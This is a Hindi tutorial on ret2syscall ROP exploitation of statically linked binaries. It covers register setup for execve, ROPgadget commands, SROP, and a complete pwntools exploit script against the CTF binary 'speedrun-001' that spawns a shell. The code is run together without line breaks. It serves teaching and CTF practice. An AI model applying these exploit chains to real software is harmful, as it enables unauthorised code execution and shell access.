यह Ret2lib के समान है, हालाँकि, इस मामले में हम किसी पुस्तकालय से एक फ़ंक्शन को कॉल नहीं करेंगे। इस मामले में, सब कुछ /bin/sh निष्पादित करने के लिए कुछ तर्कों के साथ sys_execve syscall को कॉल करने के लिए तैयार किया जाएगा। यह तकनीक आमतौर पर उन बाइनरी पर की जाती है जो स्थिर रूप से संकलित होती हैं, इसलिए वहाँ बहुत सारे गैजेट और syscall निर्देश हो सकते हैं।
syscall के लिए कॉल तैयार करने के लिए निम्नलिखित कॉन्फ़िगरेशन की आवश्यकता है:
rax: 59 sys_execve निर्दिष्ट करें
rdi: ptr to "/bin/sh" फ़ाइल को निष्पादित करने के लिए निर्दिष्ट करें
rsi: 0 कोई तर्क नहीं दिया गया
rdx: 0 कोई पर्यावरण चर नहीं दिया गया
तो, मूल रूप से, /bin/sh को कहीं लिखना आवश्यक है और फिर syscall करना है (स्टैक को नियंत्रित करने के लिए आवश्यक पैडिंग के बारे में जागरूक रहना)। इसके लिए, हमें एक गैजेट की आवश्यकता है जो /bin/sh को एक ज्ञात क्षेत्र में लिख सके।
एक और दिलचस्प syscall जिसे कॉल किया जा सकता है वह है mprotect जो एक हमलावर को मेमोरी में एक पृष्ठ की अनुमतियों को संशोधित करने की अनुमति देगा। इसे ret2shellcode के साथ जोड़ा जा सकता है।
Register gadgets
आइए उन रजिस्टरों को नियंत्रित करने के तरीके को खोजने से शुरू करें:
फिर आपको इस पते पर मनचाही सामग्री लिखने का एक तरीका खोजना होगा
ROPgadget --binary speedrun-001| grep " : mov qword ptr \["mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
ROP श्रृंखला स्वचालित करें
निम्नलिखित कमांड एक स्थिर बाइनरी के लिए पूर्ण sys_execve ROP श्रृंखला बनाता है जब वहाँ write-what-where गैजेट और syscall निर्देश होते हैं:
ROPgadget--binaryvuln--ropchain
32 बिट्स
'''Lets write "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop += popRdx # place value into EAXrop +="/bin"# 4 bytes at a timerop += popRax # place value into edxrop +=p32(0x6b6000)# Writable memoryrop += writeGadget #Address to: mov qword ptr [rax], rdxrop += popRdxrop +="//sh"rop += popRaxrop +=p32(0x6b6000+4)rop += writeGadget
64 बिट्स
'''Lets write "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop =''rop += popRdxrop +="/bin/sh\x00"# The string "/bin/sh" in hex with a null byte at the endrop += popRaxrop +=p64(0x6b6000)# Writable memoryrop += writeGadget #Address to: mov qword ptr [rax], rdx
Gadgets की कमी
यदि आप gadgets की कमी महसूस कर रहे हैं, उदाहरण के लिए /bin/sh को मेमोरी में लिखने के लिए, तो आप स्टैक से सभी रजिस्टर मानों (जिसमें RIP और params रजिस्टर शामिल हैं) को नियंत्रित करने के लिए SROP तकनीक का उपयोग कर सकते हैं:
from pwn import*target =process('./speedrun-001')#gdb.attach(target, gdbscript = 'b *0x400bad')# Establish our ROP GadgetspopRax =p64(0x415664)popRdi =p64(0x400686)popRsi =p64(0x4101f3)popRdx =p64(0x4498b5)# 0x000000000048d251 : mov qword ptr [rax], rdx ; retwriteGadget =p64(0x48d251)# Our syscall gadgetsyscall =p64(0x40129c)'''Here is the assembly equivalent for these blockswrite "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop =''rop += popRdxrop +="/bin/sh\x00"# The string "/bin/sh" in hex with a null byte at the endrop += popRaxrop +=p64(0x6b6000)rop += writeGadget'''Prep the four registers with their arguments, and make the syscallpop rax, 0x3bpop rdi, 0x6b6000pop rsi, 0x0pop rdx, 0x0syscall'''rop += popRaxrop +=p64(0x3b)rop += popRdirop +=p64(0x6b6000)rop += popRsirop +=p64(0)rop += popRdxrop +=p64(0)rop += syscall# Add the padding to the saved return addresspayload ="0"*0x408+ rop# Send the payload, drop to an interactive shell to use our new shelltarget.sendline(payload)target.interactive()
64 बिट, nx, कोई PIE नहीं, कुछ मेमोरी में execve कॉल करने के लिए एक ROP लिखें और वहां कूदें। स्टैक में लिखने के लिए गणितीय संचालन करने वाले एक फ़ंक्शन का दुरुपयोग किया जाता है।